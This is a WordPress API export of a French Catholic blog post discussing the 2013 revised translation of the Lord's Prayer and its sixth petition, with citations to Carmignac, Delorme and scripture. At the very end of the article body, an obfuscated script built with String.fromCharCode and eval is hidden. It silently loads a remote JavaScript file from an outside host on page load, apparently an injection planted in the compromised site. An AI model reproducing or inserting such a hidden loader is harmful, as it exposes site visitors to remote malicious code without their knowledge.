<br />
<b>Notice</b>:  La fonction _load_textdomain_just_in_time a été appelée de façon <strong>incorrecte</strong>. Le chargement de la traduction pour le domaine <code>mh-magazine</code> a été déclenché trop tôt. Cela indique généralement que du code dans l’extension ou le thème s’exécute trop tôt. Les traductions doivent être chargées au moment de l’action <code>init</code> ou plus tard. Veuillez lire <a href="https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/">Débogage dans WordPress</a> (en) pour plus d’informations. (Ce message a été ajouté à la version 6.7.0.) in <b>/var/www/clients/client0/web32/web/wp-includes/functions.php</b> on line <b>6121</b><br />
{"id":135,"date":"2013-11-07T08:45:30","date_gmt":"2013-11-07T07:45:30","guid":{"rendered":"https:\/\/egliseduburkina.org\/?p=135"},"modified":"2013-11-21T17:55:55","modified_gmt":"2013-11-21T16:55:55","slug":"une-nouvelle-traduction-du-notre-pere-ne-nous-laisse-pas-entrer-en-tentation","status":"publish","type":"post","link":"https:\/\/egliseduburkina.net\/?p=135","title":{"rendered":"Une nouvelle traduction du \u00ab Notre P\u00e8re \u00bb : \u00ab Ne nous laisse pas entrer en tentation \u00bb"},"content":{"rendered":"<h1><\/h1>\n<h2>Parmi les r\u00e9visions les plus notables de la nouvelle traduction officielle de la Bible qui para\u00eetra le 22 novembre, celle du tr\u00e8s controvers\u00e9 \u00ab et ne nous soumets pas \u00e0 la tentation \u00bb du Notre P\u00e8re.<\/h2>\n<p><strong><i>Sources\u00a0: aleteia.org<\/i><\/strong><br \/>\nA partir d<a href=\"https:\/\/egliseduburkina.org\/wp-content\/uploads\/2013\/11\/topic1.jpg\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft size-full wp-image-137\" alt=\"topic\" src=\"https:\/\/egliseduburkina.org\/wp-content\/uploads\/2013\/11\/topic1.jpg\" width=\"300\" height=\"200\" \/><\/a>u 22 novembre prochain, sera publi\u00e9e une\u00a0<a href=\"http:\/\/www.famillechretienne.fr\/croire\/bible\/une-bible-de-reference-pour-la-priere-de-leglise_t9_s52_d70916.html\">nouvelle traduction officielle de la Bible<\/a>\u00a0pour la liturgie francophone. Dans cette nouvelle traduction se trouve notamment une r\u00e9vision de la pri\u00e8re du Notre P\u00e8re, dont la tr\u00e8s controvers\u00e9e sixi\u00e8me demande ne sera plus \u00ab\u00a0<i>Et ne nous soumets pas \u00e0 la tentation\u00a0<\/i>\u00bb mais \u00ab\u00a0<i>Et ne nous laisse pas entrer en tentation<\/i>\u00a0\u00bb.<\/p>\n<p>En vue de valider cette modification, nos \u00e9v\u00eaques fran\u00e7ais ont eu en mains un volumineux document de travail, dont Monseigneur Herv\u00e9 Giraud,\u00a0\u00e9v\u00eaque de Soissons, Laon et Saint-Quentin, avait fait\u00a0<a href=\"http:\/\/www.soissons.catholique.fr\/download\/1-18941-0\/20110617-ne-nous-soumets-pas-la-tentation.pdf\">un r\u00e9sum\u00e9 publi\u00e9 sur le site de son dioc\u00e8se<\/a>\u00a0en juin 2011.<\/p>\n<p><strong>I. Rappel hi<\/strong><strong>storique.<\/strong><\/p>\n<p>Le 29 d\u00e9cembre 1965, le pr\u00e9sident la Conf\u00e9rence des Ev\u00eaques de France annonce solennellement l\u2019adoption d\u2019une nouvelle traduction en fran\u00e7ais du <i>Pater<\/i>. Le\u00a04 janvier 1966,\u00a0dans un communiqu\u00e9 commun avec les repr\u00e9sentants des chr\u00e9tiens orthodoxes et r\u00e9form\u00e9s, est redite cette adoption d\u2019une nouvelle traduction, pr\u00e9cisant qu\u2019elle sera commune aux trois confessions chr\u00e9tiennes, dans un esprit d\u2019unit\u00e9.<\/p>\n<p>Cette nouvelle traduction du Pater est celle que nous utilisons ordinairement aujourd\u2019hui. Elle se rapproche beaucoup plus de la version utilis\u00e9e jusqu\u2019alors par les r\u00e9form\u00e9s et implique une modification importante de la sixi\u00e8me demande qui \u00e9tait formul\u00e9e ainsi\u00a0: \u00ab\u00a0<i>ne nous laisse pas succomber \u00e0 la tentation<\/i>\u00a0\u00bb. La documentation catholique de l\u2019\u00e9poque rappelle que d\u2019anciennes versions fran\u00e7aises utilisaient une traduction litt\u00e9rale du grec et du latin : \u00ab\u00a0<i>Ne nous induis pas en tentation<\/i>\u00a0\u00bb, mais que le sens du verbe \u00ab\u00a0<i>induire<\/i>\u00a0\u00bb n\u2019est plus suffisamment \u00ab\u00a0courant\u00a0\u00bb pour \u00eatre d\u2019un usage clair.<\/p>\n<p>Par ailleurs, cette m\u00eame documentation explique que \u00ab\u00a0<i>la variante &lt;&lt; ne nous laisse pas succomber \u00e0 la tentation &gt;&gt; est particuli\u00e8rement d\u00e9fectueuse. Elle laisse \u00e0 penser que la tentation n\u2019est qu\u2019un mal moral auquel il faut r\u00e9sister. Or, la tentation biblique est aussi une mise \u00e0 l\u2019\u00e9preuve voulue par Dieu. Nous le prions donc de ne pas nous placer dans une situation telle que notre fid\u00e9lit\u00e9 envers lui soit en p\u00e9ril \u2013 ce qui implique de nous garder de tout p\u00e9ch\u00e9<\/i>\u00a0\u00bb\u00a0(1).<\/p>\n<p>En 1969, l\u2019abb\u00e9 Jean Carmignac publie sa th\u00e8se \u00ab\u00a0<i>Recherches sur le Notre P\u00e8re<\/i>\u00a0\u00bb, qui reste une r\u00e9f\u00e9rence majeure sur l\u2019ex\u00e9g\u00e8se de la pri\u00e8re enseign\u00e9e par J\u00e9sus. Lors qu\u2019en parall\u00e8le il tente de s\u2019opposer frontalement \u00e0 certains points de la traduction du nouveau lectionnaire fran\u00e7ais, son analyse de la sixi\u00e8me demande du Pater sera la premi\u00e8re \u00e0 faire suspecter un caract\u00e8re blasph\u00e9matoire dans la traduction \u0153cum\u00e9nique de 1966. Pour lui, soumettre l\u2019homme \u00e0 la tentation, c\u2019est d\u00e9j\u00e0 l\u2019y faire succomber. Carmignac en appelle \u00e0 l\u2019analogie de la foi : une telle chose n\u2019a pu \u00eatre enseign\u00e9e par J\u00e9sus.<\/p>\n<p>Pour lui, nous sommes victimes d\u2019incompr\u00e9hension quant \u00e0 une formule causative (2), propre \u00e0 l\u2019h\u00e9breu, qu\u2019amplifierait le grec au point d\u2019induire une confusion. Il fonde l\u2019essentiel de sa th\u00e8se sur ses travaux pr\u00e9c\u00e9dents, consistant en une relecture des \u00e9vangiles via une r\u00e9troversion du grec vers l\u2019h\u00e9breu. Carmignac venait alors de d\u00e9couvrir le caract\u00e8re fortement h\u00e9bra\u00efsant de la grammaire et de la syntaxe \u00e9vang\u00e9lique, et pouvait d\u00e8s lors apporter des arguments solides sur le plan\u00a0<a href=\"http:\/\/fr.wikipedia.org\/wiki\/Philologie\">philologique<\/a>, pour justifier de s\u2019affranchir d\u2019une traduction trop litt\u00e9rale du texte grec, pr\u00eatant \u00e0 confusion. Il propose en d\u00e9finitive de simplement d\u00e9placer la n\u00e9gation\u00a0: \u00ab\u00a0<i>Fais que nous n\u2019entrions pas dans la tentation<\/i>\u00a0\u00bb.<\/p>\n<p>Pendant les ann\u00e9es qui suivirent, et jusqu\u2019\u00e0 nos jours, l\u2019argumentation philologique et th\u00e9ologique de Carmignac sera le fer de lance des mouvements traditionalistes r\u00e9clamant un retour \u00e0 l\u2019ancienne version. Etant entendu que pour les partisans de Carmignac, entrer en tentation signifie y succomber.<\/p>\n<p>Dans un article de 1966 que les \u00e9v\u00eaques fran\u00e7ais ont eu entre les mains pour \u00e9tudier la nouvelle traduction (3), l\u2019ex\u00e9g\u00e8te Jean Delorme est tent\u00e9 de trouver un consensus, pour r\u00e9concilier tout le monde. Il propose alors sa d\u00e9finition dans les termes suivants (4)\u00a0:<\/p>\n<p>Il semble, dit-il, que le fran\u00e7ais nous offre une tournure, capable de traduire la formule grecque en respectant les diverses interpr\u00e9tations dont elle est susceptible : \u00ab\u00a0<i>Ne nous laisse pas entrer en tentation<\/i>. \u00bb Ce n\u2019est pas transformer un imp\u00e9ratif (\u00ab\u00a0<i>ne nous introduis pas<\/i>\u00a0\u00bb) en un simple permissif (\u00ab<i>ne permets pas\u2026<\/i>\u00a0\u00bb). Car si en fran\u00e7ais \u00ab laisser faire \u00bb veut dire \u00ab ne pas emp\u00eacher \u00bb, \u00ab ne pas laisser faire \u00bb a le sens tr\u00e8s positif d\u2019 \u00ab emp\u00eacher \u00bb. Donc nous demandons \u00e0 Dieu d\u2019intervenir en notre faveur pour \u00e9carter de notre route un danger si redoutable. Et cette formule laisse enti\u00e8re la possibilit\u00e9 de l\u2019interpr\u00e9tation plus stricte de l\u2019abb\u00e9 Carmignac, ou de la formule traditionnelle : \u00ab\u00a0<i>ne nous laissez pas succomber \u00e0 la tentation<\/i>.\u00a0\u00bb [&#8230;].<br \/>\nA sa suite et plus r\u00e9cemment, en 1995, le professeur de l\u2019\u00e9cole biblique de J\u00e9rusalem, Raymond-Jacques Tournay, publie un article en faveur de la m\u00eame traduction, synth\u00e9tisant toute cette argumentation. Pour lui, l\u2019origine aram\u00e9enne de la pri\u00e8re permet de s\u2019affranchir de la forme <i>factitive<\/i> (faire faire) du\u00a0grec, et d\u2019adopter la forme <i>permissive<\/i> (laisser faire) plus courante dans le texte aram\u00e9en.<\/p>\n<p>C\u2019est finalement cette traduction, solidement argument\u00e9e, qui est aujourd\u2019hui adopt\u00e9e par la Conf\u00e9rence des \u00c9v\u00eaques de France. Nous ne savons pas, \u00e0 l\u2019heure actuelle, si cette nouvelle traduction aura \u00e9galement un caract\u00e8re \u0153cum\u00e9nique ou non.<\/p>\n<p>Dieu ne tente personne. En cas de doute, l\u2019\u00e9p\u00eetre de saint Jacques le rappelle vigoureusement : <i>Que nul, quand il est tent\u00e9, ne dise: \u00ab Ma tentation vient de Dieu. \u00bb Car Dieu ne peut \u00eatre tent\u00e9 de faire le mal et ne tente personne<\/i> (Jc 1, 13). Dans ce sens, Dieu ne peut donc nous \u00ab\u00a0soumettre\u00a0\u00bb \u00e0 la tentation, dans le sens litt\u00e9ral. Il y aurait confusion entre Dieu et le tentateur, Satan. D\u2019o\u00f9 l\u2019accusation de blasph\u00e8me concernant la traduction courante.<\/p>\n<p>Mais <i>\u00e9prouver<\/i> n\u2019est pas n\u00e9cessairement <i>tenter<\/i>. M\u00eame si en grec, le m\u00eame mot, ou la m\u00eame racine est utilis\u00e9e. Et l\u2019on comprend, comme d\u2019ailleurs la tradition le rappelle, qu\u2019il nous faut passer par l\u2019\u00e9preuve.\u00a0<i>Aussi tressaillez-vous d\u2019all\u00e9gresse m\u00eame s\u2019il faut que, pour un peu de temps, vous soyez afflig\u00e9s par diverses \u00e9preuves, fin que, bien \u00e9prouv\u00e9e, votre foi, plus pr\u00e9cieuse que l\u2019or p\u00e9rissable que l\u2019on v\u00e9rifie par le feu, devienne un sujet de louange, de gloire et d\u2019honneur, lors de la R\u00e9v\u00e9lation de J\u00e9sus Christ<\/i>\u00a0(1P 1, 6-7).<\/p>\n<p>Sainte Th\u00e9r\u00e8se d\u2019Avila enseignait d\u2019ailleurs que \u00ab\u00a0<i>Ceux qui arrivent \u00e0 la perfection ne demandent pas \u00e0 Dieu d\u2019\u00eatre d\u00e9livr\u00e9s des souffrances, des tentations, des pers\u00e9cutions ni des combats. [&#8230;]\u00a0Car, je le r\u00e9p\u00e8te, ils d\u00e9sirent plut\u00f4t les \u00e9preuves, ils les demandent et les aiment. Ils ressemblent aux soldats, qui sont d\u2019autant plus contents qu\u2019ils ont plus d\u2019occasions de se battre, parce qu\u2019ils esp\u00e8rent un butin plus copieux; s\u2019ils n\u2019ont pas ces occasions, ils doivent se contenter de leur solde, mais ils voient que par l\u00e0 ils ne peuvent pas s\u2019enrichir beaucoup. Croyez-moi, mes s\u0153urs, les soldats du Christ, c\u2019est-\u00e0-dire ceux qui sont \u00e9lev\u00e9s \u00e0 la contemplation et qui vivent dans la pri\u00e8re, ne voient jamais arriver assez t\u00f4t l\u2019heure de combattre<\/i>\u00a0\u00bb (5).<\/p>\n<p>Dans le m\u00eame sens, <i>aller vers <\/i>ne signifie pas <i>entre dans<\/i>. Comme le rappelait d\u00e9j\u00e0 Delorme, et comme l\u2019ont retenu les \u00e9v\u00eaques fran\u00e7ais, cette notion de \u00ab\u00a0lieu\u00a0\u00bb est importante. Nous comprenons que si Dieu nous conduit au d\u00e9sert pour que nous y soyons \u00e9prouv\u00e9s, il ne nous \u00e9prouve pas lui-m\u00eame. Cette m\u00e9taphore du mouvement vers un lieu, restitu\u00e9 dans la nouvelle traduction, permet donc de se rapprocher des textes les plus anciens, sans introduire le verbe \u00ab\u00a0succomber\u00a0\u00bb. Mgr Giraud le rappelait dans sa synth\u00e8se de juin 2011 :<\/p>\n<p>Le verbe <i>eisph\u00e9r\u00f4<\/i> signifie \u00e9tymologiquement \u00ab\u00a0<i>porter dans<\/i>\u00a0\u00bb, \u00ab\u00a0<i>faire entrer<\/i>\u00a0\u00bb. La tentation est vue comme un lieu dans lequel Dieu nous introduirait. Mais Dieu pourrait-il nous \u00ab\u00a0<i>introduire<\/i>\u00a0\u00bb en tentation ? Ce verbe exprime un mouvement local vers un lieu o\u00f9 l\u2019on p\u00e9n\u00e8tre. Il fait penser \u00e0 J\u00e9sus, alors qu\u2019il conduit par l\u2019Esprit au d\u00e9sert pour y \u00eatre tent\u00e9 (Mt 4,11), ou encore \u00e0 Geths\u00e9mani : \u00ab Priez pour ne pas entrer en tentation \u00bb (Mt 26,41).<br \/>\nDieu doit donc bien nous\u00a0<i>conduire vers<\/i>, mais Il ne peut pas nous\u00a0<i>introduire dans<\/i>.\u00a0Nous ne pouvons donc pas demander \u00e0 ne pas \u00eatre conduit vers (ce qui supposerait que nous refusons une bonne chose), ni \u00e0 ne pas \u00eatre introduit dans (ce qui supposerait que cela soit possible). Demander \u00e0 Dieu de ne pas faire une chose qu\u2019il serait par ailleurs susceptible de faire est donc absurde : Dieu ne peut faire que le Bien et nous ne pouvons pas prier qu\u2019il ne le fasse pas.<\/p>\n<p>Enfin, la m\u00e9taphore du lieu est indispensable pour comprendre de quelle nature est la tentation en question. Le mot utilis\u00e9 est une allusion directe au lieu appel\u00e9 Tentation, Massa en h\u00e9breu, nomm\u00e9 ainsi parce que durant l\u2019Exode, au cours de leur station \u00e0 Refidim, les fils d\u2019Isra\u00ebl ont mis le Seigneur \u00e0 l\u2019\u00e9preuve\u00a0: \u00ab\u00a0<i>Il donna \u00e0 ce lieu le nom de Massa (Tentation) et Meriba (Querelle), parce que les Isra\u00e9lites cherch\u00e8rent querelle et parce qu\u2019ils mirent YHVH \u00e0 l\u2019\u00e9preuve en disant : YHVH est-il au milieu de nous, ou non ?<\/i>\u00a0\u00bb (Ex 17, 7). C\u2019est cette m\u00eame tentation qui fait dire \u00e0 J\u00e9sus au d\u00e9sert\u00a0: <i>Tu ne tenteras pas le Seigneur ton Dieu<\/i> (Mt 4, 7\u00a0; Lc 4, 12\u00a0 citant Dt 6, 16). J\u00e9sus est le Seigneur, et comme \u00e0 R\u00e9fidim, c\u2019est lui qui est tent\u00e9, mis \u00e0 l\u2019\u00e9preuve.<\/p>\n<p>Demander de ne pas entrer en Tentation, c\u2019est donc demander \u00e0 ne pas douter de la pr\u00e9sence de Dieu au milieu de nous. C\u2019est en ce sens que J\u00e9sus dit \u00e0 ses disciples, \u00e0 Geths\u00e9mani\u00a0: <i>priez pour ne pas entrer en Tentation<\/i> (Mt 26, 41\u00a0; Mc 14, 38\u00a0; Lc 22, 40.46). Car bient\u00f4t ils seront amen\u00e9 \u00e0 douter qu\u2019il est vraiment Dieu. <i>L\u2019esprit est ardent, mais la chair est faible<\/i>\u00a0! (Ibid.) Il est si simple de douter, de quitter ensuite J\u00e9rusalem l\u2019espoir en berne, en se disant\u00a0: \u00ab\u00a0<i>Nous esp\u00e9rions, nous, que c&rsquo;\u00e9tait lui qui allait d\u00e9livrer Isra\u00ebl<\/i>\u00a0\u00bb (Lc 24, 21). Alors c\u2019est l\u00e0 le sens profond de cette demande\u00a0: <i>Seigneur, gardes-nous de douter de toi<\/i>\u00a0! (6)<\/p>\n<p>Notes\u00a0:<\/p>\n<ol>\n<li>Cf. Jean-Claude Lemyze, <i>Maranatha<\/i>, F\u00e9vrier 1999, citant <i>La documentation catholique<\/i>, N\u00b01442, 21 f\u00e9vrier 1965, p. 384<\/li>\n<li>Voix verbale\u00a0qui sert \u00e0 transcrire une action que le sujet fait ex\u00e9cuter par un autre \u00e9l\u00e9ment que lui-m\u00eame. En fran\u00e7ais, il s\u2019exprime sous la forme faire + verbe. (Source\u00a0<a href=\"http:\/\/fr.wiktionary.org\/wiki\/causatif\">Wiktionnaire<\/a>)<\/li>\n<li>Merci \u00e0 Mgr Herv\u00e9 Giraud de m\u2019en avoir communiqu\u00e9 la substance.<\/li>\n<li>Citation aimablement fournie par Mgr Herv\u00e9 Giraud.<\/li>\n<li>Sainte Th\u00e9r\u00e8se d\u2019Avila, <i>Le chemin de la perfection<\/i>, Seuil, 1961. Chap. 40<\/li>\n<li>Joachim Jeremias, <i>Th\u00e9ologie du nouveau testament<\/i>, <i>Tome I. La pr\u00e9dication de J\u00e9sus<\/i>, \u00e9d. Cerf, Paris, 1973. p.253 citant H. Sch\u00fcrmann, <i>La pri\u00e8re du Seigneur<\/i>, Paris, 1965.<\/li>\n<\/ol>\n<p>Jo\u00ebl Sprung est l\u2019auteur de <a href=\"http:\/\/www.pneumatis.net\/2013\/06\/notre-pere-cet-inconnu\/\"><i>Notre P\u00e8re, cet inconnu<\/i>,<\/a> \u00e9d. Gr\u00e9goriennes, 2013.<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"mh-excerpt\"><p>Parmi les r\u00e9visions les plus notables de la nouvelle traduction officielle de la Bible qui para\u00eetra le 22 novembre, celle du tr\u00e8s controvers\u00e9 \u00ab et ne nous soumets pas \u00e0 la tentation \u00bb du Notre <a class=\"mh-excerpt-more\" href=\"https:\/\/egliseduburkina.net\/?p=135\" title=\"Une nouvelle traduction du \u00ab Notre P\u00e8re \u00bb : \u00ab Ne nous laisse pas entrer en tentation \u00bb\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":137,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[],"class_list":{"0":"post-135","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-au-jour-le-jour"},"_links":{"self":[{"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=\/wp\/v2\/posts\/135","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=135"}],"version-history":[{"count":0,"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=\/wp\/v2\/posts\/135\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=\/wp\/v2\/media\/137"}],"wp:attachment":[{"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=135"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=135"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/egliseduburkina.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=135"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}